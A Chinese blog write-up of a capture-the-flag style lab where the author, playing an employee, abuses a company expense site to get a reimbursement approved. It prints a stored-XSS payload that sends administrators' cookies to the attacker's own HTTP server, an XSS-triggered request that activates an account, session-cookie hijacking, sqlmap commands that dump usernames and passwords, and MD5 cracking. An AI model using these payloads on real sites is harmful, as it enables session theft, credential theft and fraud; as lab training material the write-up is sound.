一次简单的xss靶机渗透过程记录

前言

简单记录一次打靶的过程,这里我们作为Samuel Lamotte需要进入公司网站寻找并利用漏洞索要报销,目前已知了登录密码为fzghn4lw。


渗透过程

一、信息收集

1、确定目标IP地址

2、nmap收集端口号

端口扫描发现了对方服务器开放了许多端口。

3、目录扫描

这里扫出来许多目录,接下来依次访问寻找有用信息。

二、漏洞探测

访问80端口,发现存在登录和注册的入口。

admin目录可以成功访问,这里存放着已有的所有账户,看status那一列,发现slamotte是处于不可以登录的状态。

访问注册页面,结合刚才在admin.php页面看到的信息,猜测这里可能存在xss漏洞。先注册一个账户测试,结果发现信息提交不了,检查查看源码发现提交按钮这里设置了disable,直接删除后就能成功注册了。

三、漏洞利用

1、获取cookie

①kali开启临时http服务

python3 -m http.server

②写入js代码触发XSS,让kali能监听并获取到管理员登录的cookie

<script>document.write('<img src="http://192.168.253.129:8000/?'+document.cookie+'">')</script>

PS:这里注意192.168.253.129:8000是kali的ip和端口号。

这里我们能监听到众多cookie,接下来需要找到管理员的cookie进行利用。

2、利用cookie

激活slamotte账户时,抓包并将 cookie 替换为监听到的管理员 cookie。

放包运行后发现页面出现了错误提示,告诉我们管理员账号同时只能登录一次。

为了避免这种情况,创建另⼀个帐户,修改XSS 语句去激活 “Samuel Lamotte” 的帐户 。通过bp抓的激活账号时候的数据包中看到,是通过如下语句实现激活动作的:

GET /admin/admin.php?id=11&status=active

Host: 192.168.253.143

因此构造的恶意语句可以将 “/admin/admin.php?id=11&status=active” 插入进去:

<script>document.write('<img src="http://192.168.253.143/admin/admin.php?id=11&status=active">')</script>

让后台脚本⾃动访问该⻚⾯时,由管理员自己激活那个账号。

点击那个激活按钮后看到提交参数 id=11&status=active

此时访问admin.php页面,我们发现Samuel Lamotte成功激活。

成功激活了Samuel Lamotte的帐户后,我们使⽤已知的身份凭证:slamotte/fzghn4lw 登录到网站并提交报销申请。

浏览其中的内容,继续寻找可利用的漏洞。在home页面发现了留言框,推测可能存在xss漏洞,对其进行测试后,发现确实存在xss漏洞。那么接下来就可以在此留言框中写入恶意代码,尝试获取管理员的cookie信息。

注意kali需要开启监听才能获取到cookie信息,可能会获取到多个cookie值,因此需要我们对这些cookie值进行测试,直到确定最终管理员的cookie信息是哪一个。

将获取到的cookie信息记录下来,利用插件替换cookie值,寻找管理员的cookie值,利用manager的身份登录后台将刚才Samuel Lamotte提交的报销申请通过。

成功利用manager的身份通过了报销单,然而并没有完全结束,因为报销单还需要财务人员进行审批。

3、sql注入

在信息收集和漏洞探测的阶段,发现 site.php 界面存在sql注入漏洞,接下来可以利用这个漏洞爆破出所有用户及其密码。

利用sqlmap的 -r 参数:

把当前存在sql注⼊的⻚⾯⽤bp抓包后,将其内容保存到sql.txt文件中,然后利用sqlmap工具,使用 -r 参数进行sql注入。

命令:sqlmap -r sql.txt --current-db
注意:执行命令前需先进入sql.txt文件存在的目录

#进入包含cookie值的文件目录
 cd /root/Desktop

#寻找sql注入
 sqlmap -r sql.txt --current-db

#查库
 sqlmap -r sql.txt --current-db --dbs

#查表
 sqlmap -r sql.txt --current-db -D myexpense --tables

#查列
 sqlmap -r sql.txt --current-db -D myexpense -T user --columns 

#查字段
 sqlmap -r sql.txt --current-db -D myexpense -T user -C username,password --dump

成功爆出所有账密后,找到财务⼈员afoulon和pbaudouin,尝试获取他们的密码。密码有做加密处理,观察其特征,应该为MD5加密,利用工具解密,成功破解pbaudouin的密码为HackMe。

四、获得flag

使用pbaudouin/HackMe登录,审批Samuel Lamotte提交的报销申请。

审批成功后,再次登录Samuel Lamotte的账号,此时flag就会直接显示在页面上了,成功获得flag。

 

  • 29
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值